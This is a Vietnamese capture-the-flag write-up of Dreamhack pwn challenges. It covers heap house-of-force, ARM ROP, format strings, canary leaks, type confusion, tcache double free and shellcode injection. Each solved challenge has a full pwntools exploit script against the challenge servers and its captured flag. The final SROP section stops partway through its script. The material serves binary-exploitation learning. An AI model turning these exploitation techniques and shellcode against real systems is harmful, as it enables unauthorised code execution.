{%hackmd @themes/dracula %} # (writeup) dreamhack wargame p2 ## house_of_force - basic file check ![](https://hackmd.io/_uploads/BkeON8MMp.png) - source: ```c // gcc -o force force.c -m32 -mpreferred-stack-boundary=2 #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <string.h> int *ptr[10]; void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int create(int cnt) { int size; if( cnt > 10 ) { return 0; } printf("Size: "); scanf("%d", &size); ptr[cnt] = malloc(size); if(!ptr[cnt]) { return -1; } printf("Data: "); read(0, ptr[cnt], size); printf("%p: %s\n", ptr[cnt], ptr[cnt]); return 0; } int write_ptr() { int idx; int w_idx; unsigned int value; printf("ptr idx: "); scanf("%d", &idx); if(idx > 10 || idx < 0) { return -1; } printf("write idx: "); scanf("%d", &w_idx); if(w_idx > 100 || w_idx < 0) { return -1; } printf("value: "); scanf("%u", &value); ptr[idx][w_idx] = value; return 0; } void get_shell() { system("/bin/sh"); } int main() { int idx; int cnt = 0; int w_cnt = 0; initialize(); while(1) { printf("1. Create\n"); printf("2. Write\n"); printf("3. Exit\n"); printf("> "); scanf("%d", &idx); switch(idx) { case 1: create(cnt++); cnt++; break; case 2: if(w_cnt) { return -1; } write_ptr(); w_cnt++; break; case 3: exit(0); default: break; } } return 0; } ``` - từ source, ta thấy sau khi add 1 note sẽ trả về địa chỉ heap và data của note ```c printf("%p: %s\n", ptr[cnt], ptr[cnt]); ``` > ---> leak được heap - chức năng edit có thể sửa data ở vùng OOB ```c printf("ptr idx: "); scanf("%d", &idx); //index heap if(idx > 10 || idx < 0) { return -1; } printf("write idx: "); scanf("%d", &w_idx); //vị trí trong index heap if(w_idx > 100 || w_idx < 0) { return -1; } printf("value: "); scanf("%u", &value); ptr[idx][w_idx] = value; //ow giá trị tại đó ``` > ---> có thể sửa size top_chunk - vậy ta tạo 1 note để leak heap, trỏ đến size heap để resize thành -1 (0xffff..ffff) - sau đó tính toán đến GOT malloc và ghi hàm **get_shell()** vào đó - cuối cùng trigger malloc ![](https://hackmd.io/_uploads/HyLw8IMfp.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./house_of_force',checksec=False) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('host3.dreamhack.games', 12554) else: p = process(exe.path) # GDB() def add(size, data): sla(b'> ', b'1') sla(b'Size: ', str(size)) sa(b'Data: ', data) def edit(idx, ptr, data): sla(b'> ', b'2') sla(b'ptr idx: ', str(idx)) sla(b'write idx: ', str(ptr)) sla(b'value: ', str(data)) add(0x8, b'a'*4) heap_leak = int(p.recvuntil(b':')[:-1], 16) top_chunk = heap_leak + 0x8 + 0x8 info("top chunk addr: " + hex(top_chunk)) edit(0, 3, -1) offset = exe.got['malloc'] - top_chunk - 0x8 add(offset, b'a'*4) add(0x8, p32(exe.sym['get_shell'])) sla(b'> ', b'1') sla(b'Size: ',b'4' ) p.interactive() #DH{87a5f7c5007055098456d65ac991d874} ``` >DH{87a5f7c5007055098456d65ac991d874} --- ## Arm Training-v1 - basic file check ![image.png](https://hackmd.io/_uploads/SkUJsbUQ6.png) - check ghidra ![image.png](https://hackmd.io/_uploads/SySliWLQa.png) >**main()** ![image.png](https://hackmd.io/_uploads/ryJMiZU76.png) >**shell()** ### analyse - rõ ràng là ret2win nhưng trên kiến trúc ARM 32 bits - thử lối suy nghĩ giống i386 - buffer 20 -> save rbp 24 -> rip (shell) ![image.png](https://hackmd.io/_uploads/SyNsGN8Xa.png) - ai dè được thật =)))) ### get flag ![image.png](https://hackmd.io/_uploads/B1WCMNI7p.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./arm_training-v1',checksec=False) context.arch = 'arm' # p = process(exe.path) p = remote('host3.dreamhack.games',14947) payload = b'a'*24 payload += p32(exe.sym['shell']) p.send(payload) p.interactive() #DH{045F0E06DBEB13E430C6F7076D0F65DACF905015CA592FD7553441DF481ABA65} ``` >DH{045F0E06DBEB13E430C6F7076D0F65DACF905015CA592FD7553441DF481ABA65} --- ## baby-bof - basic file check ![image.png](https://hackmd.io/_uploads/Skscw8YQp.png) - source: ```c // gcc -o baby-bof baby-bof.c -fno-stack-protector -no-pie #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #include <signal.h> #include <time.h> void proc_init () { setvbuf (stdin, 0, 2, 0); setvbuf (stdout, 0, 2, 0); setvbuf (stderr, 0, 2, 0); } void win () { char flag[100] = {0,}; int fd; puts ("You mustn't be here! It's a vulnerability!"); fd = open ("./flag", O_RDONLY); read(fd, flag, 0x60); puts(flag); exit(0); } long count; long value; long idx = 0; int main () { char name[16]; // don't care this init function proc_init (); printf ("the main function doesn't call win function (0x%lx)!\n", win); printf ("name: "); scanf ("%15s", name); printf ("GM GA GE GV %s!!\n: ", name); printf ("| addr\t\t| value\t\t|\n"); for (idx = 0; idx < 0x10; idx++) { printf ("| %lx\t| %16lx\t|\n", name + idx *8, *(long*)(name + idx*8)); } printf ("hex value: "); scanf ("%lx%c", &value); printf ("integer count: "); scanf ("%d%c", &count); for (idx = 0; idx < count; idx++) { *(long*)(name+idx*8) = value; } printf ("| addr\t\t| value\t\t|\n"); for (idx = 0; idx < 0x10; idx++) { printf ("| %lx\t| %16lx\t|\n", name + idx *8, *(long*)(name + idx*8)); } return 0; } ``` - đọc source cho thấy sẽ in ra địa chỉ hàm **win()** - ngoài ra sẽ demo 16 (0x10) stack ngay $rsp ![image.png](https://hackmd.io/_uploads/BkgEkOUYQp.png) - từ gdb sẽ thấy được $rip ở $rsp+0x18 ![image.png](https://hackmd.io/_uploads/HkyLu8tX6.png) - source có chức năng ghi đè ở đây ```c printf ("hex value: "); scanf ("%lx%c", &value); printf ("integer count: "); scanf ("%d%c", &count); for (idx = 0; idx < count; idx++) { *(long*)(name+idx*8) = value; ``` - thế ở hex_value ta nhập địa chỉ hàm **win()** rồi ở interger_count ta nhập '4' là xong > chương trình sẽ ghi đè hàm **win()** từ $rsp xuống 1 loạt (ghi luôn $rip) ![image.png](https://hackmd.io/_uploads/rksHDLt7a.png) >DH{62228e6f20a8b71372f0eceb51537c7f94b8191651ea0636ed4e48857c5b340c} --- ## Arm Training-v2 - basic file check ![image.png](https://hackmd.io/_uploads/r1KWcIYm6.png) - check ghidra ![image.png](https://hackmd.io/_uploads/BJ2f9LF76.png) >**main()** ![image.png](https://hackmd.io/_uploads/B1e858Kma.png) >**gadget1()** >![image.png](https://hackmd.io/_uploads/HJNEj8t7T.png) >**id** là 'id' >![image.png](https://hackmd.io/_uploads/BkQsiUY7p.png) >0x69 là byte 'i', 0x64 là byte 'd' >thực thi **system('id')** >![image.png](https://hackmd.io/_uploads/Bkm23UYQp.png) ![image.png](https://hackmd.io/_uploads/SyqvcUtXp.png) >**gadget2()** >![image.png](https://hackmd.io/_uploads/ByJks8tXa.png) >**sh** là chuỗi '/bin/sh\0' >![image.png](https://hackmd.io/_uploads/B1EUoUK7a.png) ### analyse - dù ARM là kiến thức mới nhưng lờ mờ đoán được phải return 2 lần > **gadget1()** -> **gadget2()** -> getshell - offset thì tương tự bài 1 - nhưng như thế chỉ in ra lệnh 'id' ![image.png](https://hackmd.io/_uploads/rksWaIFmT.png) >thực hiện mỗi chương trình ở **gadget1()** - ta cần phải điều chỉnh lại ([cách debug động](https://hackmd.io/@trhoanglan04/rJ-8a7LmT#setup-debug-dynamic)) - sử dụng lệnh pop để đưa '/bin/sh\0' vào R0 ($rdi) rồi gọi **system** ![image](https://hackmd.io/_uploads/rJapbo9mT.png) >**binsh** = 0x206a4 - nhưng chỉ có ``pop {r3,pc}`` là khả dụng ![image](https://hackmd.io/_uploads/r1WmbiqX6.png) >**pop_r3_pc** = 0x000103c0 - ta sẽ chain thêm 1 đoạn đưa R3 vào R0 nhờ vào code trong **gadget1()** ![image](https://hackmd.io/_uploads/HynB-oc7a.png) >**mov_r0_r3_system** = 0x00010598 - rồi lấy shell thôi ![image](https://hackmd.io/_uploads/BJQFbsq7p.png) ### get flag ![image](https://hackmd.io/_uploads/r1KDljqma.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./arm_training-v2',checksec=False) context.arch = 'arm' # p = process(['qemu-arm', '-g' ,'1234' ,'./arm_training-v2']) # context.log_level = 'debug' # raw_input('Debug') # p = process(exe.path) p = remote('host3.dreamhack.games',17118) binsh = 0x206a4 pop_r3_pc = 0x000103c0 mov_r0_r3_system = 0x00010598 payload = b'a'*24 payload += p32(pop_r3_pc) + p32(binsh) payload += p32(mov_r0_r3_system) p.sendline(payload) p.interactive() #DH{49AD4F9C3D6B72A8E5DE3D71EB435E1791041BCB130939DA82912F0423001CF2} ``` >DH{49AD4F9C3D6B72A8E5DE3D71EB435E1791041BCB130939DA82912F0423001CF2} --- ## basic_exploitation_002 - basic file check ![image](https://hackmd.io/_uploads/B1lkhkRVT.png) - source ```c #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } int main(int argc, char *argv[]) { char buf[0x80]; initialize(); read(0, buf, 0x80); printf(buf); exit(0); } ``` - là dạng bài FMTSTR nhưng trên 32bit - [link](https://dreamhack.io/learn/2/3#23) tham khảo - về cơ bản ta sẽ ow ``exit@GOT`` với giá trị trả về sẽ là $eax - payload ta sẽ gửi 4 byte địa chỉ ``exit@GOT`` và những byte kế sẽ FMTSTR ![image](https://hackmd.io/_uploads/rJ8inJAE6.png) - thấy được là sự khác nhau của ``exxit@GOT`` và **get_shell()** chỉ 2 bytes - vậy ta sẽ ghi ``p32(exit_got) + f'%{(win - 4) & 0xffff}c%1$hn'.encode()`` > phải trừ 4 vì trước đó là 4 byte của ``exxit@GOT`` > ``& 0xffff`` để chỉ lấy 2 byte cuối > ``%1$n`` để ghi vào $eax ![image](https://hackmd.io/_uploads/H1DhskAVp.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./basic_exploitation_002',checksec=False) # p = process(exe.path) p = remote('host3.dreamhack.games',13547) win = exe.sym['get_shell'] exit_got = exe.got['exit'] payload = p32(exit_got) + f'%{(win - 4) & 0xffff}c%1$hn'.encode() # gdb.attach(p,gdbscript=''' # b*main+22 # b*main+34 # c # ''') # input() p.send(payload) p.interactive() #DH{59c4a03eff1e4c10c87ff123fb93d56c} ``` >DH{59c4a03eff1e4c10c87ff123fb93d56c} --- ## environ - basic file check ![image](https://hackmd.io/_uploads/rJJzKDlrT.png) - source: ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int main() { char buf[16]; size_t size; long value; void (*jump)(); initialize(); printf("stdout: %p\n", stdout); printf("Size: "); scanf("%ld", &size); printf("Data: "); read(0, buf, size); printf("*jmp="); scanf("%ld", &value); jump = *(long *)value; jump(); return 0; } ``` - cho libc từ stdout, cho nhập size tự do, read vào buffer với size tuỳ ý, rồi nhập addr để sau đó jump vào addr - cộng với NX tắt ---> ret2shellcode - ta sẽ lợi dụng libc để lấy biến **environ** trỏ tới 1 địa chỉ stack - rồi từ đó tính địa chỉ buffer đến stack để padding vừa đủ lệnh NOP Sled ![image](https://hackmd.io/_uploads/ByeB5vlra.png) - get flag ![image](https://hackmd.io/_uploads/ByTyFwlra.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./environ_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) # p = process(exe.path) p = remote('host3.dreamhack.games',23081) p.recvuntil(b'stdout: ') libc_leak = int(p.recvline()[:-1],16) libc.address = libc_leak - libc.sym['_IO_2_1_stdout_'] log.info('libc leak: ' + hex(libc_leak)) log.info('libc base: ' + hex(libc.address)) stack_jmp = libc.sym['environ'] log.info("environ: " + hex(stack_leak)) shellcode = asm(''' mov rbx, 29400045130965551 push rbx mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ''',arch='amd64') # gdb.attach(p,gdbscript=''' # b*main+126 # b*main+188 # c # ''') # input() p.sendlineafter(b'Size: ',str(len(shellcode)+0x118)) p.sendafter(b'Data: ',b'\x90'*0x118 + shellcode) p.sendlineafter(b'*jmp=',str(stack_jmp)) p.interactive() #DH{209478d89c920b8dfe2dee61f9bc1dcc} ``` >DH{209478d89c920b8dfe2dee61f9bc1dcc} --- ## ssp_001 - basic file check ![image](https://hackmd.io/_uploads/Sk_RL_xH6.png) - source: ```c #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } void print_box(unsigned char *box, int idx) { printf("Element of index %d is : %02x\n", idx, box[idx]); } void menu() { puts("[F]ill the box"); puts("[P]rint the box"); puts("[E]xit"); printf("> "); } int main(int argc, char *argv[]) { unsigned char box[0x40] = {}; char name[0x40] = {}; char select[2] = {}; int idx = 0, name_len = 0; initialize(); while(1) { menu(); read(0, select, 2); switch( select[0] ) { case 'F': printf("box input : "); read(0, box, sizeof(box)); break; case 'P': printf("Element index : "); scanf("%d", &idx); print_box(box, idx); break; case 'E': printf("Name Size : "); scanf("%d", &name_len); printf("Name : "); read(0, name, name_len); return 0; default: break; } } } ``` - program có 3 chức năng `F` : Fill , `P` : Print , `E` : Exit - `F` có tác dụng ghi vào **box** (size 0x40) và không có BOF - `P` có tác dụng in ra 1 byte tại idx trong **box** > nhưng lại không có hàm nào check idx ---> OOB - `E` có tác dụng kết thúc chương trình, size tuỳ ý, data vào buffer đó ===> BOF - có luôn cả Canary - từ những dữ liệu trên ta sẽ có flow idea như sau - leak canary -> ret2win - mỗi lần leak là 1 byte, nên sẽ chạy vòng lặp ![image](https://hackmd.io/_uploads/Hkq19deHp.png) > leak từ 0x81 trở đi - get flag: ![image](https://hackmd.io/_uploads/ByVxPulBp.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./ssp_001',checksec=False) # p = process(exe.path) p = remote('host3.dreamhack.games',19773) def fill(data): p.sendlineafter(b"> ",b'F') p.sendafter(b'input : ',data) def print_func(idx): p.sendlineafter(b"> ",b'P') p.sendlineafter(b'index : ',str(idx)) def exit_func(data): p.sendlineafter(b"> ",b'E') p.sendlineafter(b'Size : ',str(len(data))) p.sendafter(b'Name : ',data) get_shell = exe.sym['get_shell'] fill(b'a'*0x40) # gdb.attach(p,gdbscript=''' # b*main+179 # b*main+239 # b*main+308 # c # ''') # input() canary = [0] for i in range(3): print_func(0x80+1+i) p.recvuntil(b'is : ') byte = int((b'0x' + p.recv(2)).decode(),16) log.info('byte found: ' + hex(byte)) canary.append(byte) canary = u32(b''.join([p8(b) for b in canary])) log.info('canary: ' + hex(canary)) payload = b'a'*0x40 payload += p32(canary) payload += b'a'*8 payload += p32(get_shell) exit_func(payload) p.interactive() #DH{00c609773822372daf2b7ef9adbdb824} ``` >DH{00c609773822372daf2b7ef9adbdb824} --- ## master_canary - basic file check ![image](https://hackmd.io/_uploads/BJOBHRbHT.png) - source: ```c // gcc -o master master.c -pthread #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <pthread.h> char *global_buffer; void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } void get_shell() { system("/bin/sh"); } void *thread_routine() { char buf[256]; global_buffer = buf; } void read_bytes(char *buf, size_t size) { size_t sz = 0; size_t idx = 0; size_t tmp; while (sz < size) { tmp = read(0, &buf[idx], 1); if (tmp != 1) { exit(-1); } idx += 1; sz += 1; } return; } int main(int argc, char *argv[]) { size_t size; pthread_t thread_t; size_t idx; char leave_comment[32]; initialize(); while (1) { printf("1. Create thread\n"); printf("2. Input\n"); printf("3. Exit\n"); printf("> "); scanf("%d", &idx); switch (idx) { case 1: if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0) { perror("thread create error"); exit(0); } break; case 2: printf("Size: "); scanf("%d", &size); printf("Data: "); read_bytes(global_buffer, size); printf("Data: %s", global_buffer); break; case 3: printf("Leave comment: "); read(0, leave_comment, 1024); return 0; default: printf("Nope\n"); break; } } return 0; } ``` - thấy được BUG ở case2 là BOF thoải mái, ở case 3 có thể overflow tận 1024 byte ---> ret2win - nhưng bài này có canary, nên sẽ tận dụng ở case2 BUG ở '%s' sẽ in đến khi gặp NULL byte ### local - ta DEBUG và xem offset trên local ![image](https://hackmd.io/_uploads/HyD9LA-H6.png) >0x189 - leak thành công ![image](https://hackmd.io/_uploads/B1rmvC-r6.png) - ret2win ![image](https://hackmd.io/_uploads/SkgDDRZrT.png) ### remote - tiếc là với offset trên thì trên server chưa đúng - thì biết là chall có đi kèm Dockerfile - ``cat Docker`` thấy được đang ở môi trường Ubuntu 16.04 (trong khi máy mình là 22.04 ) ![image](https://hackmd.io/_uploads/SkBCwCbrp.png) - nên cách bần cùng nhất bây giờ là brute force =)))) ![image](https://hackmd.io/_uploads/BkKHuAZB6.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./master_canary',checksec=False) # p = process(exe.path) # gdb.attach(p,gdbscript=''' # b*main+261 # b*main+286 # b*main+325 # c # ''') # input() # i = 0 # while True: # try: # i += 8 # p.sendlineafter(b'> ',b'1') # p.sendlineafter(b'> ',b'2') # payload = b'a'*(0x898+i) # p.sendlineafter(b'Size: ',str(0x898+1+i)) # p.sendlineafter(b'Data: ',payload) # p.recvuntil(b'\n') # canary = u64(b'\0' + p.recv(7)) # log.info('canary: ' + hex(canary)) # p.sendlineafter(b'> ',b'3') # payload = b'a'*40 # payload += p64(canary) # payload += b'a'*8 # payload += p64(exe.sym['get_shell']+1) # p.sendafter(b'comment: ',payload) # p.interactive() # p.sendline(b'ls') # except EOFError: # p.close() # continue p = remote('host3.dreamhack.games',22111) p.sendlineafter(b'> ',b'1') p.sendlineafter(b'> ',b'2') payload = b'a'*(2280) p.sendlineafter(b'Size: ',str(2280+1)) p.sendlineafter(b'Data: ',payload) p.recvuntil(b'\n') canary = u64(b'\0' + p.recv(7)) log.info('canary: ' + hex(canary)) p.sendlineafter(b'> ',b'3') payload = b'a'*40 payload += p64(canary) payload += b'a'*8 payload += p64(exe.sym['get_shell']+1) p.sendafter(b'comment: ',payload) p.interactive() #DH{5784e01c14862d84172ca055720f512ec3dd7e3b4421c691f638b1152cd62312} ``` >DH{5784e01c14862d84172ca055720f512ec3dd7e3b4421c691f638b1152cd62312} --- ## cpp_type_confusion - basic file check ![image](https://hackmd.io/_uploads/rkpYxDfH6.png) - source ```cpp // g++ -o pwn-cpp-type-confusion pwn-cpp-type-confusion.cpp #include <iostream> #include <csignal> #include <unistd.h> #include <cstdio> #include <cstring> #include <cstdlib> int appleflag = 0; int mangoflag = 0; int applemangoflag = 0; void getshell(){ system("/bin/sh"); } void print_menu(){ std::cout << "I love Applemango!" << std::endl; std::cout << "1. Make apple" << std::endl; std::cout << "2. Make mango" << std::endl; std::cout << "3. Mix apple, mango" << std::endl; std::cout << "4. Eat" << std::endl; std::cout << "5. Exit program" << std::endl; std::cout << "[*] Select : "; } void alarm_handler(int trash) { std::cout << "TIME OUT" << std::endl; exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void mangohi(){ std::cout << "Mangoyum" << std::endl; } void applehi(){ std::cout << "Appleyum" << std::endl; } class Base{ public: virtual void yum(){ } }; class Apple : public Base{ public: virtual void yum(){ std::cout << description << std::endl; } Apple(){ strcpy(description, "Appleyum\x00"); appleflag = 1; }; ~Apple(){ appleflag = 0; } char description[8]; }; class Mango : public Base{ public: virtual void yum(){ description(); } Mango(){ description = mangohi; mangoflag = 1; }; ~Mango(){ mangoflag = 0; } void (*description)(void); }; int main(){ initialize(); int selector; std::string applemangoname; Base *apple; Base *mango; Apple* mixer; while(1){ print_menu(); std::cin >> selector; switch(selector){ case 1: apple = new Apple(); std::cout << "Apple Created!" << std::endl; break; case 2: mango = new Mango(); std::cout << "Mango Created!" << std::endl; break; case 3: if(appleflag && mangoflag){ applemangoflag = 1; mixer = static_cast<Apple*>(mango); std::cout << "Applemango name: "; std::cin >> applemangoname; strncpy(mixer->description, applemangoname.c_str(), 8); std::cout << "Applemango Created!" << std::endl; } else if(appleflag == 0 && mangoflag == 0){ std::cout << "You don't have anything!" << std::endl; } else if(appleflag == 0){ std::cout << "You don't have apple!" << std::endl; } else if(mangoflag == 0){ std::cout << "You don't have mango!" << std::endl; } break; case 4: std::cout << "1. Apple\n2. Mango\n3. Applemango\n[*] Select : "; std::cin >> selector; if(selector == 1){ if(appleflag){ apple->yum(); } else{ std::cout << "You don't have apple!" << std::endl; } } else if (selector == 2){ if(mangoflag){ mango->yum(); } else{ std::cout << "you don't have mango!" << std::endl; } } else if (selector == 3){ if(applemangoflag) { mixer->yum(); } else{ std::cout << "you don't have Applemango!" << std::endl; } } else { std::cout << "Wrong Choice!" << std::endl; } break; case 5: std::cout << "bye!" << std::endl; return 0; break; default: return 0; } } return 0; } ``` - option1 và option2 sẽ gọi **apple** và **mango** rồi set biến **flag** bằng 1 - option3 chi được ghi nếu **apple** và **mango** đều có **flag** bằng 1 - option4 để thực thi (1 trong 3 trái cây) - nhìn sơ source thì thấy ta cần khai thác ở đoạn code sau ```cpp case 3: if(appleflag && mangoflag){ applemangoflag = 1; mixer = static_cast<Apple*>(mango); //vulnerability std::cout << "Applemango name: "; std::cin >> applemangoname; strncpy(mixer->description, applemangoname.c_str(), 8); std::cout << "Applemango Created!" << std::endl; ``` - thấy được là nó sẽ call 1 hàm **yum()** ```cpp case 4: std::cout << "1. Apple\n2. Mango\n3. Applemango\n[*] Select : "; std::cin >> selector; if(selector == 1){ if(appleflag){ apple->yum(); } else{ std::cout << "You don't have apple!" << std::endl; } } else if (selector == 2){ if(mangoflag){ mango->yum(); } else{ std::cout << "you don't have mango!" << std::endl; } } else if (selector == 3){ if(applemangoflag) { mixer->yum(); //vulnerability } else{ std::cout << "you don't have Applemango!" << std::endl; } } else { std::cout << "Wrong Choice!" << std::endl; } break; ``` - ở hàm **yum()**, sẽ call **description** > với **apple** và **mango** thì **description** không đổi > nhưng ở **mixer** ta change nó được - vậy ta cần truyền địa chỉ **getshell()** vào **mixer->description** ![image](https://hackmd.io/_uploads/BJOgWDMrp.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./cpp_type_confusion',checksec=False) # p = process(exe.path) p = remote('host3.dreamhack.games',14542) p.sendline(b'1') p.sendline(b'2') p.sendline(b'3') p.sendline(p32(0x400FA6)) p.sendline(b'4') p.sendline(b'3') p.interactive() #DH{4a969c04516654df9984f8aab2db7309} ``` >DH{4a969c04516654df9984f8aab2db7309} --- ## tcache_dup2 - basic file check ![image](https://hackmd.io/_uploads/SyTeRfmST.png) - source ```c #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> char *ptr[7]; void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); } void create_heap(int idx) { size_t size; if (idx >= 7) exit(0); printf("Size: "); scanf("%ld", &size); ptr[idx] = malloc(size); if (!ptr[idx]) exit(0); printf("Data: "); read(0, ptr[idx], size-1); } void modify_heap() { size_t size, idx; printf("idx: "); scanf("%ld", &idx); if (idx >= 7) exit(0); printf("Size: "); scanf("%ld", &size); if (size > 0x10) exit(0); printf("Data: "); read(0, ptr[idx], size); } void delete_heap() { size_t idx; printf("idx: "); scanf("%ld", &idx); if (idx >= 7) exit(0); if (!ptr[idx]) exit(0); free(ptr[idx]); } void get_shell() { system("/bin/sh"); } int main() { int idx; int i = 0; initialize(); while (1) { printf("1. Create heap\n"); printf("2. Modify heap\n"); printf("3. Delete heap\n"); printf("> "); scanf("%d", &idx); switch (idx) { case 1: create_heap(i); i++; break; case 2: modify_heap(); break; case 3: delete_heap(); break; default: break; } } } ``` - case1 tạo heap với size tuỳ thích (idx max 7: 0->6) - case2 sửa chunk - case3 free (idx < 7) - có luôn hàm **get_shell()** - vì cho libc2.9 nên sẽ có security check ở bk_pointer - ta sẽ tạo lượng vừa đủ chunk, free rồi sửa bk_pointer 1 chunk sau đó trigger DBF - cuối cùng ow `exit@GOT` thành **get_shell** và chọn free với idx7 ( thực thi **exit** ) ![image](https://hackmd.io/_uploads/S1sclm7Ba.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./tcache_dup2_patched',checksec=False) libc = ELF('./libc-2.30.so',checksec=False) # p = process(exe.path) p = remote('host3.dreamhack.games',11245) def add(size, data): p.sendlineafter("> ", "1") p.sendlineafter("Size: ", str(size)) p.sendlineafter("Data: ", data) def edit(idx, size, data): p.sendlineafter("> ", "2") p.sendlineafter("idx: ", str(idx)) p.sendlineafter("Size: ", str(size)) p.sendlineafter("Data: ", data) def delete(idx): p.sendlineafter("> ", "3") p.sendlineafter("idx: ", str(idx)) add(0x10,b'aaaa') #0 add(0x10,b'aaaa') #1 delete(0) #idx0 delete(1) #idx1 edit(1, 0x10, b'\0'*0x10) #modify bk_pointer delete(1) #trigger DBF add(0x10,p64(exe.got["exit"])) add(0x10,b'aaaa') add(0x10,p64(exe.sym["get_shell"])) delete(7) #get_shell p.interactive() #DH{025244482b3e8a14a2f2f1d984a753fa71a275918d61f6c2e3ae0980e2cb2a96} ``` >DH{025244482b3e8a14a2f2f1d984a753fa71a275918d61f6c2e3ae0980e2cb2a96} --- ## validator - basic file check ![image](https://hackmd.io/_uploads/rydnW8NSa.png) - check ida ![image](https://hackmd.io/_uploads/H1wXvLES6.png) >**main()** >có BOF: ``char s[128]`` nhưng ``read(0,s,0x400)`` ![image](https://hackmd.io/_uploads/BkV55LErT.png) >**validate()** >2 vòng for check: >- vòng 1: so 0->9 (10) byte đầu $rdi với **correct** >![image](https://hackmd.io/_uploads/Hyiu38VBp.png) >- vòng 2: loop từ 11 (byte thứ 12 $rdi) đến hết $rsi (128) > - **byte** vị trí ``j`` so với **byte+1** vị trí ``j+1`` bằng nhau > ---> truyền byte giảm dần sẽ thoả mãn - description: ![image](https://hackmd.io/_uploads/SJg6R84ST.png) > tức là trên server, quyền thực thi tồn tại trên bộ nhớ có quyền write khi NX tắt, còn ở bản local, quyền thực thi tồn tại chỉ trên stack - check ``vmmap`` ![image](https://hackmd.io/_uploads/rJVpVP4BT.png) > nếu có thể thực thi trên rw_section thì phải chăng GOT entry cũng thế ? - vậy ta sẽ viết shellcode, gọi lại 1 lần nữa hàm read, ghi vào `exit@GOT` rồi sau đó gọi thêm 1 lần `exit@GOT` là có shell trên server - check local ![image](https://hackmd.io/_uploads/rkldnSD4HT.png) > okay shellcode đã có trong ``exit@GOT`` > ``ni`` tiếp sẽ lỗi SIGSEGV - get flag ![image](https://hackmd.io/_uploads/HJH78vVSp.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./validator_dist',checksec=False) # p = process(exe.path) p = remote('host3.dreamhack.games',12885) payload = b'DREAMHACK!\0' # gdb.attach(p,gdbscript=''' # b*main+47 # b*main+64 # b*validate+168 # c # ''') # input() for i in range(0x80-11,0,-1): payload += bytes([i]) shellcode = asm(''' mov rbx, 29400045130965551 push rbx mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ''',arch='amd64') pop_rdi = 0x00000000004006f3 pop_rsi_r15 = 0x00000000004006f1 pop_rdx = 0x000000000040057b payload += b'\0'*8 #padding $rbp payload += flat( pop_rdi,0, pop_rsi_r15, exe.got['exit'],0, pop_rdx,0x200, exe.plt['read'], exe.got['exit']) p.send(payload) sleep(1) p.send(shellcode) p.interactive() #DH{e6ab8f1142a49e47bdb29933c6a3ba6f6f3576b165c45ce477d64b7d6192b3d3} ``` >DH{e6ab8f1142a49e47bdb29933c6a3ba6f6f3576b165c45ce477d64b7d6192b3d3} --- ## send_sig - basic file check ![image](https://hackmd.io/_uploads/r1apuu4rT.png) - check ida (có renamed) ![image](https://hackmd.io/_uploads/B1vSKd4H6.png) >**start()** ![image](https://hackmd.io/_uploads/rJHUFO4Sa.png) >**vuln()** >có BOF: ``char buf[8]`` mà ``read(0,buf,0x400)`` ![image](https://hackmd.io/_uploads/Sk-wtuVrT.png) >**binsh** >![image](https://hackmd.io/_uploads/S1nIEoSBa.png) >0x402000 - có chuỗi '/bin/sh\0', không có **system** - liệu có SROP được không ? ![image](https://hackmd.io/_uploads/HkZZcu4Ba.png) > có cả **syscall** lẫn **pop_rax_ret** - 1 phát SROP luôn cho lẹ ![image](https://hackmd.io/_uploads/rJi2OO4Sp.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./send_sig',checksec=False) # p = process(exe.path) p = remote('host3.dreamhack.games',10886) binsh = 0x402000 syscall = 0x00000000004010b0 